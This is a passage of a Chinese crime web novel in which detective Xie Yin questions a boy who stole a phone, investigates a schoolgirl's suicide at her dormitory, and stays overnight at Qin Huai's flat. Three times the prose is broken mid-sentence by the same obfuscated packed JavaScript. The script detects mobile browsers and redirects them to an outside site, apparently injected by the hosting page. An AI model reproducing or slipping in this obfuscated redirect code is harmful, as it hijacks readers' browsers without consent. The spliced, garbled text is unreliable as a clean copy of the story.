李师师?谢隐想到发廊里和李富贵一起坐在床上的那个小女孩······她叫李师师?这一家子到底是什么起名天才!也不知道这个女孩到底是因为发廊女的职业而改名叫李师师的,还是因为叫李师师才励志走上了发廊女的道路······ “手机在哪偷的?” “忘了。” 谢隐抬头看向李富贵:“你以为说忘了,我们就不追究你责任了?” 李富贵仍旧不以为然:“追究呗,我才13,就偷了一手机。警官,你自己想想,平时老百姓丢个手机,你们给立案么?” 都说穷人的孩子早当家,才13岁的孩子,就把自己活成了一根老油条,不得不说,这孩子吃过不少的苦啊。 谢隐却没那么同情他,路都是人走的,关键看选择。 谢隐歪过头,舌尖舔了舔后槽牙,悠悠说道:“行吧,看来你不在乎进看守所。也是,看守所留不了你几天,还供吃供住,你正乐意呢。” 李富贵点点头,是这么个道理。 谢隐继续说:“那13······就送福利院吧。福利院多好,有学上有饭吃,还有那么多小伙伴。嗯······就是不太自由。福利院要是走丢了人,可是要负责任的。他们会替我们看好你的,小伙子。” 一听到这,野惯了的李富贵急了:“你凭什么把我送福利院?我爹妈死了,但我有监护人!你们没权把我送福利院!” “谁是你监护人啊?” 李富贵脱口而出:“我姐!李师师!她满18了!她有权做我监护人。” “哦,”谢隐拉长语调,“对对对,满18了。那家发廊是你姐的吧?门口迎接我那小女孩是你姐的员工吧?小伙子,引诱、容留、组织他人□□,可是重罪。你姐满18了,够判刑了。她进去了,你不就没有监护人了么?” 李富贵猴精,终于明白了谢隐给他设的套。 愤怒的表情第一次出现在这根小油条的脸上,他咬着牙问谢隐:“你他妈拿我姐威胁我?” “你要再敢说一句‘他妈’,你姐现在就能被拘捕。”谢隐也跟着拍了桌子,“你姐卖/淫是警察诬陷的吗?张嘴闭嘴威胁,小子,你也不看看你有什么资本!” 李富贵被谢隐这声如洪钟的怒吼吓到了,整个身体缩回到凳子上。 “在让清路小卖铺门口偷的,那人正低头买瓜子呢,我就偷了他······。” “什么时候偷的?今天接到了几个电话?” “昨天晚上偷的。今天就接到一个电话,我没敢接,给按了。” 让清路······谢隐眼神递出去,韩易马上查起来,就在城南的那片城中村当中。也就是说,马骏很有可能还隐匿在那片城中村当中! 这个消息算是众多坏消息中不算太坏的一个。 这个手机号,是马骏和孙庆梅事先约定好的联系方式。如果不出意外,顺着这条线,他们可以查到马骏的藏身之所。 可问题是,因为这个小鬼,意外还是发生了。 谢隐恨得牙根痒痒,可发脾气解决不了任何问题。他把李富贵扔给了治安队,也没真打算把一个孩子怎么样,教育惩戒就行了。 回过头,这条辛苦找寻的路就又断了。谢隐拍了拍荆哲的肩膀,吩咐了下去:“和南城区公安打招呼,派出警力,摸底排查,不留一个死角,也不能打草惊蛇。” —— 夏日的闷热像一只无形的大手,扼住人的喉咙,让人生生喘不上气来。 会议室里老旧空调有一搭没一搭地工作着,仿佛它制不制冷,全凭心情。有人耷拉着脑袋窝在椅子里,有人趴在桌子上眯一觉······ 谢隐没睡着,但他也不想睁开眼。他不想看见兄弟们丧气的脸,当然,他也知道,拖也没用,但拖一会是一会。 他也不是不丧,只是他没资格丧。 作为领导,作为他们的头儿,谢隐深知丧气毫无意义。 一切又回到了原点,谢隐暗自苦笑,就当是为了排除一切不可能吧· ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043556|148943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ····· 他的脑海里过电影一样闪现着零碎杂乱的现有证据,慢慢勾勒出一幅A城东南方向,案发现场附近的地理位置图。 他们似乎找到了路的方向,那个真相在迷雾之后呼之欲出,可迷雾怎么拨,没人告诉他。 会议室里响起了细微沉闷的鼾声,谢隐却并不觉得烦躁。 他仍旧思考着,到底遗漏了什么呢? 一个沉静冰凉的声音在他耳旁响起,“为什么死的是他?为什么是在这里?为什么是这辆车?” 谢隐如今想明白了马骏为什么把人杀在这辆车里,但另外的问题呢?为什么,是这个村? 谢隐不是没想过通过监控把这辆粉色保时捷近几个月的所有行程都追踪一遍,但很快又被他的理智否决了。 A城是一个有着1300万人口的副省级城市,占地面积8400平方公里。想通过大大小小不计其数的监控探头搜寻一辆车的轨迹,别说是刑侦支队,加上整个A市公安都难。 人海战术要不得,一定会有突破口。谢隐双眼轻阖,眉心却轻拧着。 这个突破口在哪呢······ “为什么是这里?”秦淮的这个问题依旧逡巡在谢隐脑海里不肯离去。 谢隐也知道,一般来讲,犯罪嫌疑人会把抛尸地点选择在心理舒适区内。马骏选择在喜乐村郊的国道旁焚尸,说明他一定对这个地点有着某种心理依赖。 可这种依赖缘何而来,又与侦破按键有何关系呢? 谢隐的眉拧得更紧了,远远看去,像是困在了一个梦魇之中。 “头儿,你没事吧?” 坐在圆桌对面也没睡着的韩易低声问了句,他没敢大声,怕影响其他同事午休。 韩易的声音仍旧是那么半是憨傻半是鸡贼,轻车熟路地打断了谢隐的思绪。谢隐正恼火,脑海里却突然蹦出一句韩易的话来。 “6月1日,李莘驾驶过这辆车,在行驶至旗华大道与嵩山路交口处时因闯红灯被交警逼停。经查,李莘未成年,系无证驾驶。”这是韩易在第一次找李凤臣谈话之后,拍着档案袋和谢隐汇报的。 旗华大道······嵩山路······ 谢隐脑海里的地图逐渐清晰,范围也逐渐扩大。纵横交错的主干道慢慢汇聚成网络,以案发地为中心,慢慢辐射开来。 谢隐倏地怒目圆睁,吓得正在看他的韩易一个激灵。 谢隐低声喝:“拿电子地图。” 韩易不知道发生了什么,赶紧递过去一个ipad。二人动静不大,但也逐渐吵醒了午睡的众人。 都以为头儿有了新发现,慢慢凑了过来。 谢隐看着手中的电子地图,不断放大缩小比例尺,终于,他确定了心中的猜想。 旗华大道是出湖岸中学的必经之路,而从旗华大道穿过城区,想要到达案发地点喜乐村,无论怎么走,嵩山路都是必经之路! 李莘一定知道些什么,才会不惜冒着无证驾驶被抓的风险也要匆匆赶往喜乐村。 谢隐终于感觉到一切真的回到了原点,那个被他们决定先放一放的李莘,一定知道重要信息! 谢隐决定,再去会一会李莘。这个之前曾差一点在他面前敞开心扉的女孩,或许不再是不能撬动的顽石了。 就在谢隐拿起手机,决定再度联系李莘的班主任时,荆哲却匆匆冲进了会议室。 他满头大汗,裹挟着一股热风冲进来。 却带来了一道晴天霹雳。 “头儿,李莘,死了。” 15. 豪车惊魂15 李莘是在湖岸中学宿舍楼坠楼的,派出所给出了初步判断可能是坠亡,谢隐带着白超然赶到现场时,所辖区级刑侦队的法医已经进行了初步勘查。 “应该是坠亡。”对方是位年近半百的男法医,谢隐认识,为人低调,喜欢钻研,口碑不错。 他拍了拍老同志的肩膀,眼神示意白超然再去看一遍现场。尽管他相信老法医的职业能力,尽管他知道白超然从来不看他眼色行事。 派出所民警已经拉好了警戒线,据说案发现场保护得不错。 没什么围观群众,毕竟在校园里,学生们还算听话,不让聚集就各自回去了。 可只要目光环绕一周,就能看出来,学生们纷纷躲在教学楼和宿舍楼里,正朝着这个方向观望着。 一个个小脑袋瓜,就可能是一个个人肉摄像头。他们管中窥豹所看到的,就可能被扭曲、添油加醋,传播成恐怖谣言,最终在A市弥漫开······ 谢隐深吸了一口气,屏住呼吸,看向水泥地上的尸体。 这口气半晌没有呼出来。 如果说,那是一个人,确实不如“一滩”人更准确。 死者仰卧在地上,尽管面部五官仍旧清晰,但整个后背和后脑在巨大的冲击下已然粉碎骨折,整个身体像被拍扁了一样变了形。 谢隐很难将这具冰冷甚至恐怖的尸体和平日里看到的李莘联系在一起。 尽管李莘不那么漂亮,性格也不那么讨人喜欢。但好歹那是一个鲜活的生命,带着十几岁少女独有的朝气蓬勃。 不管怎样,都不该是眼前这具扭曲的尸体。 她穿了一身大红色的明制汉服,尽管高坠伤流血量并不大,但衬在这套耀眼夺目的艳红色里,格外晃人眼。 李莘的班主任已经在警戒线外泣不成声,几度想要往里望进来,却又在看到尸体的一瞬间干呕不止。 谢隐一挥手示意警员把班主任带远点。他低头看向白超然:“怎么样?” “初步看来应该是坠亡,不过还需要做进一步细致尸检。” 嗯,毒物,药物,其他外伤,都要检查。 谢隐咬着牙向上望去:“几楼掉下来的?” “11楼,顶楼跳下来的。”保安应声回答。 “你怎么确定是‘跳’下来,不是掉下来,或者是被推下来?”谢隐觉得现在就下结论,为时太早了。 他理解保安,可能已经得到学校高层授意,无论真相如何,尽量把李莘的死定性为自杀最好。 这样学校的责任就能小一点。 可李莘怎么死的,他们学校说了不算,只有法医说了算。 “自己跳下来的可能性倒是挺大的。” 谢隐“啧”了一声,正心烦呢,想知道哪位偏向虎山行的勇士非要这时候呛他肺管子啊,可还没等抬头,一种熟悉的感觉涌了上来。 这声音,温润平和,不疾不徐,很是熟悉。 谢隐猛地回头,秦淮竟然在这! 谢隐眉头微皱,盯向秦淮。对方似乎没看出他表情的异样,以为他在咨询,于是接着话茬继续说。 “我问过校长了,今天学校里没有什么表演活动。湖岸中学正常上课期间只允许穿校服,且不能化浓妆。看这个女孩脸上的妆容,显然是费过一番心思的。她很有可能做好了自杀的准备。” 秦淮站在警戒线外,目光越过谢隐,落在坠亡女孩的脸上。 他看不出过分的悲喜,也没有任何恐惧,一如当日出现在喜乐村的案发现场一样,镇静得不可思议。 他的眼神中带着一种悲悯,“或许这是这个女孩一生中最美的一天,起码在镜子前她应该是这么想的。可如果她知道坠亡后的惨状,她还会选择这种死法吗?” 谢隐一个头十个大,他最看不惯秦淮那股悲天悯人的样子,尽管对方确实是温润偏偏的君子模样。 “秦老师,你怎么又在这?” 谢隐还没等说话,身后的荆哲却先发问了。他走到谢隐身前,目光冷冷落在秦淮身上,语气同样冰冷。 这也是谢隐想问的,被荆哲抢先了。 两起命案,两起很可能有关联的命案,一个毫无关系的人会同时出现在两个案发现场? 这也未免太巧合了吧! 秦淮并不慌乱,甚至丝毫不介意荆哲的询问。他笑了笑,回答:“我也是湖岸中学的毕业生,今天特地回来看看老校长。” 一旁的老者见双方剑拔弩张,也知道了警方的怀疑,赶忙上前解释:“秦淮今天回学校看我,我正在和他商量给学生们进行一场心理辅导讲座的事,就听说李莘跳楼了,我俩一起赶过来的。” 秦淮嘴角的笑意扯了扯,示意荆哲这就是真相。荆哲无话可说,谢隐亦然,二人不再理会这个莫名其妙出现的秦淮。 尽管,他真的十分可疑。 谢隐:“11楼,是李莘的宿舍?” 保安:“是,李莘住1109,也是从1109的阳台跳下来的。” 谢隐:“跳下来时候有目击者吗?” 保安:“有,我们学校都是四人寝室,李莘跳下来时候其他三人都在。” 谢隐出来的急,也没带个外勤女警来。本想亲自问询三位女同学,但想想自己眉上的伤疤和满脸的煞气,又停下了脚步,把和一切女性聊天的光荣任务交给了韩易。 他自己从旁观战。 “老幺今天上午第三节课就说她肚子疼,请加回宿舍了。我们问用不用陪她,她偷偷告诉我,她没病,就是想回去化个妆。”一个哭得没那么厉害的女孩最先开了口。 她口中的老幺指的就是李莘。 韩易:“化妆?” 女孩A:“对,化妆。我问她不上课化什么妆,她也没回答我。等中午我们回宿舍时候才发现,她盘了头发,换了身汉服,还化了很好看的妆。” 韩易:“你们不觉得奇怪吗?” 女孩B:“奇怪,当时老大还问她要干嘛去呀,她说约会去。” 女孩C:“我还说你个万年单身狗能上哪约会呀,她跟我说去最美的地方。” 说到这,三个女孩又一次失声痛哭起来。这泪水里混杂着发现了异常却没在意的悔恨,混杂着恐惧与惊悚,混杂着对朋友的思念······ 韩易看着也有点眼眶发红,谢隐清咳了一声,才把几人的思绪又拽了回来。 “那······李莘是几点跳楼的?” 女孩B:“大概是下午1点······1点15吧,因为我定了1点20的闹钟,那时候闹钟还没响。” 韩易飞快记下,又问:“谁最先发现李莘跳楼了的?” 女孩B:“是老大。老大喊了一声,想冲到阳台拽老幺,结果没拽到。我们仨就都赶紧跑下楼······” 谢隐的脑子飞快转动着。尽管秦淮出现得不合时宜,但他说的没错,女孩盛装,恐怕是做好了自杀的准备,而几个女孩的话如果属实,也能印证这一点。 他抬腿往宿舍楼里走去,刚跨进一楼,脚步又滞住了。 他转头吩咐楼管阿姨:“告诉其他女孩,回到自己房间关好门!” 哪怕是警察执行公务,他也是个大老爷们,真在女生宿舍撞见个裸/奔小妹妹,他这颗老心脏也受不了。 谢隐进入1109时,刺耳的手机闹铃声还在循环播放。看来女生在这方面确实没撒谎。 这是一个不太大的宿舍,上床下桌,有独立卫浴和阳台。几个女孩子还算干净利落,没袜子内衣满天飞,让这个糙老爷们长舒了一口气。 谢隐来到李莘的桌前,她的化妆品、书本、文具都码放得整整齐齐,床上的被褥也叠成了豆腐块。 “李莘平时就这么爱干净吗?” “也······也不是,今天确实反常。”女孩B回答。 桌面上,一个信封孤零零地摆在中央。谢隐戴上手套,打开信封,是一封信。 不过是几行娟秀的字汇成的小诗句: 目击众神死亡的草原上野花一片, 那远在远方的风比远方更远。 我的琴声呜咽, 泪水全无。 我把那远方的远, 归还草原。 谢隐用他那低沉的嗓音念出了这首诗,配上今时今日的悲凉感,真给人一种来到了荒凉草原的感觉。 “头儿,啥意思?这是遗书?”韩易接过信纸,照在阳关下想要找找是否有什么机关,但无功而返。 谢隐算不得博学,但好歹多看过几本书,“海子的诗。” “啊?”韩易一时没反应过来。 谢隐做警察多年,早也过了悲春伤秋的年纪,这些在年少躁动时读过的诗早就被扔在记忆的角落里蒙尘了。 谢隐都没想到,这辈子还能再这么文艺范一次。 他继续着,把诗的后半句背出来:“一个叫木头,一个叫马尾。我的琴声呜咽,泪水全无。远方只有在死亡中凝聚出野花一片······” 韩易发誓,如果放在平时,他一定能沉醉在头儿那磁性的声音里无法自拔,甚至能模拟出小姑娘爱上头儿的轰轰烈烈场景。 但问题是现在是在案发现场!装文艺范要遭雷劈的! 谢隐当然也知道这一点。他把信装到物证袋里交给韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043557|148943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易,又叫来几个小警员,开始搜证。 他踱步到阳台,向下看去。女孩直上直下摔下去的,没在空中划出什么优美的弧线,可能就是那么几秒钟,一条鲜活的生命就从这个世界上消失了。 “头儿,没有发现其他遗书、抗抑郁类药物或者可疑物品。几位女同学也说李莘平时挺正常的,没有抑郁症,也没有太过反常的情况。”不大一会,韩易就来汇报了。 谢隐回身站在李莘的桌前,他戴着手套,在李莘的床铺上摸索了几下。 一个警员说:“头儿,床铺看过了,没有什么异常。” 谢隐点头,手底下兄弟干活细致,他没理由不相信。他正准备把手缩回来,却在一瞬间,僵在了原地。 他的指尖正摩挲着床铺内侧的边缘,因为角度原因,他看不见上面有什么,但触感告诉他,那里有个凹陷的图案。 直觉告诉谢隐,他发现了重要的东西。 这种上床下桌,是两个床铺和桌子连在一起的,想要挪动并不容易。谢隐和两个警员费了不少力气才把床铺挪开。 谢隐摸到的图案,正是一朵用利器刻在上面的半开山茶花。 和李莘的手串上,马骏的腰带扣上,一模一样的半开山茶花! 又是这朵山茶花,又是这朵山茶花······谢隐开始逐渐暴躁起来。一个又一个证据指向李莘和马骏之间存在不寻常的关系,而这种关系可能直接影响案情的进展。 可就在这个时候,马骏消失了,李莘死了! 谢隐咬着后槽牙向虚空中挥了一拳,谢隐恨得牙痒痒,却无处发泄。 韩易知道头儿的压力有多大,却也想不出一句安慰的话来。好在谢隐在虚空处发泄了一会后,很快就恢复了冷静。 他不知道这个女孩是怎么挪开床把图案刻在这么隐秘的角落里的,也不知道这个都有点盘包浆了的图案被女孩摩挲过多少次。 “把这个图案照下来。收队。” —— 和谢隐他们几乎同时到达警队的,还有他们此刻最怕看到的人,李凤臣。 法医将尸体放在操作台上,白超然已经穿好了防护服,开始准备起道具来。 一见这情状,前来认尸的李凤臣当场失去了理智。他犹如疯癫了一般一把推开白超然,让身型颀长的白超然向后一趔趄,差点跌坐在地上,好在谢隐眼疾手快,扶住了他。 几位民警开始轮番上阵,连劝带推,想把李凤臣带离法医实验室。 都失败了。 此刻,仿佛瞬间老了十岁的李凤臣再没有了往日的风采,憔悴和衰老占据了这个父亲的身体,死死踩灭了他的所有骄傲。 他只跪在操作台前,不断用脑袋磕向操作台边,口中呜咽,“妮儿,你醒醒,你看看爸爸啊······” 谢隐不是铁石心肠,尽管看多了生离死别,可每次面对这种情况,他都很难不红了眼眶。 他喉结滚动了几番,才沙哑开口:“让法医工作吧。” 李凤臣闻声看来,双眼猩红如厉鬼,猛地扑到了谢隐跟前,一把拽住谢隐的衣领,从牙缝里挤出来一句“都是你们,害死了我女儿”。 韩易看不下去了,他上前去,准备拉开李凤臣,“你的心情我们都能理解,但说我们害死李莘,这就过分了!” 谢隐却挥手阻止了韩易。 他个子比李凤臣高上半头,即便被对方揪着衣领,仍保持着绝对的压倒气势。 谢隐冷静了下来,开口问道:“你相信你女儿是自杀吗?” “我不信!她要什么有什么,她有大把的家产能继承,她为什么要自杀!” “如果你不信,就让法医赶紧开始工作。” 李凤臣的手松开了,他摇着头,干巴巴地转头离开。他几度想要回头再看一眼女儿的尸体,但最终,没能鼓起勇气。 等待的时间是漫长的,漫长到谢隐感觉自己重新投了几次胎,又长大成人,当了一名刑警。 有那么一瞬间,谢隐暗自发誓,要有来生,绝不干这操蛋活了。 但现在不是来生,他还得硬着头皮被生活操着,笑着活下去。 终于,在月上枝头的夜晚,白超然扭动着僵硬的脖子从实验室走出来。 “李莘,体内未检测出毒物、药物和其他致命伤,死亡原因,高坠伤。” 结合走访的一切,也就能确定,李莘,死于自杀。 一只落了单的乌鸦恰在此时落在警局大院外一棵即将枯死的桑树上,向天撕心裂肺地悲啼了几声。 谢隐攥紧了右拳,攥碎了一张照片。 照片上,是一朵半开的山茶花。 16. 豪车惊魂16 A市警局大楼里,一盏盏灯逐渐熄灭。奋战了小半宿的民警们前后脚地离开了单位,奔赴各自的人间烟火。 该走的都走了,哪怕是认领尸体的李凤臣都带着李莘走了,谢隐却坐在办公桌前久久不动。 韩易来劝了两句,也知道劝不动,便独自先回去了。 入夜,清风徐来。谢隐的办公室在17楼,可以远远望见半个城市的霓虹闪烁,万家灯火。 这个焚尸案不是谢隐见过最刁钻的案件。犯罪手法普通,犯罪动机明显,一如他自己说的,从来不存在完美的犯罪。 可面对李莘的死,谢隐却迷茫了。 终于,在最后一位加班的兄弟的催促下,谢隐换上了一身运动装,拎了瓶矿泉水朝外走去。 夜色浓重,灯光如剑妄图划破这无边的黑暗,最终却只将其肢解得七零八落。 黑夜是静谧的,是大自然留给人类好好审视自身的机会。可人类不屑于这种机会,他们以为自己手握光明,全然没有了对自然的敬畏。 谢隐沿着警局门口的路,一路奔跑起来。 不是悠闲地散步或者慢跑,而是大跨步起来,仿佛跑得再快一点,这世界上千钧万石的压力就追不上他一样的逃亡。 他要逃离世俗的桎梏,逃离繁冗的公务,逃离这光怪陆离的城市,逃离这无边无尽的黑暗。 耳边的风呼啸着,两侧的灯光后退着,谢隐任凭内啡肽在大脑内积聚成愉悦的高/潮,把一切烦躁不安都从体内排挤掉。 他没有目的地,只由心所至。不多时,待他终于耗尽了身体内最后一丝负面情绪,大口喘着粗气,停下脚步时,他才恍然意识到自己跑到了大学城附近的居民区来。 小区是个高档小区,他来过,是秦淮家。 谢隐站在小区门口突然嗤笑,自己怎么不自觉跑到秦淮家了呢?他大剌剌一擦额头的汗珠,准备转身回去。 一摸口袋,才想起分文没带,手机忘拿了。 大学城离警队将近11公里,离他家也得有7公里。跑回去,他没那个体力了。打车回去,没钱。 谢隐毫不犹豫地抬腿往谢隐家小区走去,借点钱,明天再还他吧。 可刚一转身,脚步又滞住了。人家和自己无亲无故的,两次三番打搅人家,又是踹门又是调查的。现在大半夜叩门,竟是为了借钱,搁谁不得把谢隐当神经病啊。 谢隐这么一想,转身决定咬牙跑回去吧。 可就在这时,谢隐身后传来了声音。 “哎哎哎,你干嘛的啊?大半夜的,进还是不进?”是小区保安。 估计是看谢隐大半夜在这踱步,犹犹豫豫的,不像什么好人,才把他叫住了。 谢隐感叹高档小区的安保工作真不错,想着保安也不容易,他赶紧说了句:“走错了。” 哪知小保安不依不饶:“走错了?我看你鬼鬼祟祟的,是不是要偷东西?” 保安一手拿电棒,明晃晃的灯光直愣地晃在谢隐的眼上,让他胸中压抑已久的怒火霎时间升腾起来。 “我说了,我走错了。”谢隐咬牙克制,总不好和一个小保安动手吧。 “那你家住哪个小区,说来我听听。”小保安顿了一下,问,“旁边的华徳乐府?” 谢隐懒得和他犯话:“对,华徳乐府的。” 小保安突然拿起对讲,“东门发现可疑人员,速来支援。” 说罢,超起腰间的警棍就朝谢隐方向来了,一边试图控制谢隐,一边说:“你这个骗子,这附近根本就没有华徳乐府!” 谢隐暗中卧槽了一声,这个保安还会兵法! 尽管谢隐已经跑了十多公里的步,但小保安仍旧不是他的对手。 谢隐轻而易举夺了小保安手中的械具,将对方的手臂扳在背后,没太用力,警告道:“我真是走错了,我放开你可以,不许再乱动。” 这保安年纪轻,顶多二十出头,也是血气方刚的年纪,哪肯就这么认输了?正巧保安队里其他人也赶来支援,几个人把谢隐团团围住。 特别像谢隐挟持了一个人质,被警方团团包围了。 一想到这,谢隐才意识到自己和一群保安较什么劲?他想把警官证掏出来给他们看看,可又猛然意识到,自己什么都没带。 怎么办,总不至于1对7,真和他们打一场吧?就算胜算很大,但也胜之不武啊。自己算不上年轻人了,但还是得讲武德。 思来想去,谢隐开口:“我是来串门的。C栋11楼平层的业主叫秦淮,是我朋友。你们可以去核实一下。” —— 耻辱,奇耻大辱! 谢隐上一次等着被人领走,还是他上高中时候为了在喜欢的女生面前出风头,把校门口小混混脑袋开瓢了那回,在派出所等他爸去接他呢。 那一天,谢隐青春期躁动的灵魂彻底得到了该有的释放。他看到了同龄男孩对他投来的敬佩的目光,和他喜欢的女孩那“用你多管闲事”的眼神。 打那之后,谢隐的所有精力就被消耗在了永远破不完的案子和抓不完的凶手上了。 因为私人原因和人打架,他没兴趣了。更何况,还得这么丢脸的等秦淮来接他! 谢隐脑子里都预想好了十万八千条秦淮挖苦他的段子,要碎了牙往肚子里咽,谢隐只能自认倒霉。 结果秦淮下来,压根没理他,手里拎着一小兜橘子,拿给小保安:“不好意思小陈,这位确实是我朋友,他和我闹别扭了,想来和我道歉又不好意思,让你们误会了。大半夜的,辛苦了。” 要和你道歉不好意思说出口!亏你想得出来!谢隐的后槽牙都快磨得露神经了。 小陈保安不肯收橘子,秦淮便把橘子放在了保安亭的桌子上。 小陈扭了扭被谢隐扳得僵了的手腕,带着几分不服气,又无可奈何的语气说:“秦老师,你这么温文尔雅的人,咋能认识这种朋友?” 秦淮没解释,也没笑,只说了句,“走,回家。” 二人一路无话。秦淮一路都没有如谢隐预料一般对他冷嘲热讽,这让谢隐更难受了。这就像明知自己会被炸死,却不知哪天炸/弹会来一样。 未知且即将发生的事情,才是最可怕的。 终于,在秦淮关上了他家房门之后,才依着门框,仔细打量起满头大汗的谢隐来。嘴角还噙了丝笑意,并不作声。 谢隐忍无可忍,嘟囔了一句:“想笑就笑,别装模作样的。” 秦淮摊摊手:“我只是觉得,谢警官挺别致。” 谢隐但凡不傻,都能听出对方挖苦的含义。他挑眉应对,看看秦淮能出什么损招。 “那天在喜乐村,我头一次见警察被铐着手铐来出现场。今天,我又第一次看见一个警察被一群保安围住。谢警官是警察干腻了,想角色扮演一回犯罪分子?”说到这,秦淮嘴角戏谑的笑意更甚了,“哦,不是一回,是两回了。” 谢隐被气得心肝脾肺疼,又自觉理亏,也不敢太发作,只能恨恨地说:“秦老师你劫道的出身吧,专劫人家挖笋的。你这是夺笋哪!” 秦淮笑笑,这次没再和谢隐唇枪舌战,而是给他倒了杯水,“坐下歇会吧。” 谢隐把今天跑步跑过头了,没带钱等等处境和秦淮讲了一遍,终于吱吱扭扭开口,向秦淮借一点零钱。他得回家了。 秦淮目光投向漆黑的窗外,“你真确定,现在你出去,能打到车?” 是的,这是大学城,位于城市北郊。学生早就回笼了,居民也都安歇了,上哪找出租车去? 谢隐苦笑:“那也得碰碰运气,总不能住你家呀。孤男寡男共处一室,我倒无所谓,怕毁你清誉。” 说到这,谢隐的目光又一次落在了秦淮家客厅里的那张沙发椅上,柔软的毛巾被仍旧在光晕下散发着温暖的气息。 就在这一天,这一刻,谢隐也不知道自己的脑子短路了还是搭错弦了,他竟然话锋一转,扯嘴笑起来:“不过咱俩要都不说出去,也没人知道。” 秦淮没太敢相信自己的耳朵,“啊?” “别误会秦老师,我正经人。虽说你······”谢隐顿住了,原计划的‘你长得真挺好看的’最终没说出口。一来再不要脸也不是和自己的脸皮有仇,二来他也不愿意承认这世上有人比他好看。 “虽说你家房间不少,我就借这个沙发椅住一宿就行。” 秦淮一如往常,没有过多的表情。谢隐暗自揣测这家伙到底是因为太帅而偶像包袱太重,还是生性就如此,不在意一切他弟弟以外的事情? 秦淮给谢隐又拿了一条毛巾被,“原来那条太薄了。” 谢隐已经坐在了柔软的沙发椅上,一条腿支着地,一条腿盘着,仰头接过毛巾被,大剌剌一笑,“谢谢哈。” 正说着,一阵突如其来的声音传入了两人的耳朵。沉闷的,一如滚雷。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043558|148943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “呃······”谢隐终于意识到了,“我今天没吃晚饭,又跑了这么久的步,有点饿了。” 这绝对不是陈述句,因为说这句话的时候,秦淮看到了谢隐那双眼睛里写满了······渴望! 秦淮试探:“你不会是······” “嘿嘿,就是这个意思。秦老师,给我做点吃的吧!” 谢隐小麦色光泽的皮肤衬得一口小白牙更白了。秦淮在他脸上丝毫找不到半夜惊扰别人,又强行睡在别人家之后,提出让主人给做饭的无理要求的愧疚感。 像什么呢?秦淮突然灵光乍现,想起自己以前养过了一只猫主子,每一个动作都仿佛在说“为我我做什么都是应该的”! —— 厨房里传来不刺耳的声响,想来也是秦淮怕声音太大,吵到楼上楼下的邻居。 谢隐终于躺在了他梦寐以求的沙发椅上。他抬起双手垫在脑下,舒展了背肌,闭上眼,享受着落地灯不刺眼的光感。 鲜香的气息丝丝缕缕飘来,这馥郁的人间烟火气好似幻化出了实质,像舞动的水袖,轻轻撩拨了谢隐的嗅觉,又在他想要再靠近一点时,飘忽而去。 想要撩拨一个人的心,不妨先撩拨他的嗅觉。谢隐暗暗想。 想到这,他猛地睁眼,庆幸自己的小想法没被别人发觉。他咬了下舌尖,暗骂自己想什么呢。索性红着耳根起身,走向了厨房。 秦淮正在煮馄饨,侧脸一瞥靠在门框上的谢隐,不解:“脸怎么这么红?” 谢隐当然不可能承认,只得含糊糊弄过去:“跑步热的。” 他心虚,赶紧转移话题:“秦老师,你有女朋友么?” 秦淮把虾皮和干海苔放进碗里,盛入馄饨和馄饨汤。浓郁的香气终于在这一瞬间不再欲擒故纵,和谢隐的味觉撞了个满怀。 同时,他也淡淡回了句:“没有。” 谢隐不假思索:“那男朋友呢?” 秦淮指着馄饨碗:“你自己端。” 说罢,没理谢隐,便转头去了餐厅。 是韭菜虾仁馅的馄饨。吹开升腾的热气,谢隐轻轻咬破馄饨皮,汤汁慢慢占据谢隐的味蕾,虾仁的鲜味混杂着瘦肉的醇香,再辅上韭菜的清爽,让谢隐不自觉赞叹秦淮绝对是个美食天才。 他正专心致志地品尝这碗馄饨,耳边却听到了没头没尾的一句。 “也没有。” 啊?谢隐愣了一秒,旋即想起刚才自己的问题。 哦,秦淮说,他也没有男朋友。 谢隐决定先放下馄饨这碗粘人的小妖精,问道:“你这么秀外慧中的,家世好,工作好,会做饭,长······长得也还行,怎么不找个对象?” 秦淮没回答他的问题,而是反抛回来:“那谢警官呢?你这么······怎么也是单身呢?” “这么”什么啊?谢隐还等着听秦淮对他的评价呢,结果一语掠过了。谢隐差点翻白眼,但估计从秦淮嘴里也说不出好听的,就算了吧。 吃人家的嘴短,睡人家的······还是嘴短。 “上大学时候处过两个,一个出国留学了,一个去京城混娱乐圈了。毕业以后处过一个,嫌我太忙,就分了。”谢隐喝了口馄饨汤,“往事不可追,都是好姑娘,咱没那福气就是了。” 谢隐絮叨完了,把问题又扔回去:“你呢,秦老师?” 秦淮突然起身,转头走向了卧室的方向,说了句“吃完了把碗洗了”之后,便只留给谢隐一个昏黄光晕下的背影了。 那背影颀长高挑,却又有着说不出的寂寞感。 谢隐咂咂嘴,也懊恼自己这张嘴怎么什么都爱问。是戳到的秦淮痛处了?还是秦淮只要不找到弟弟,生活就永远不肯正常继续? 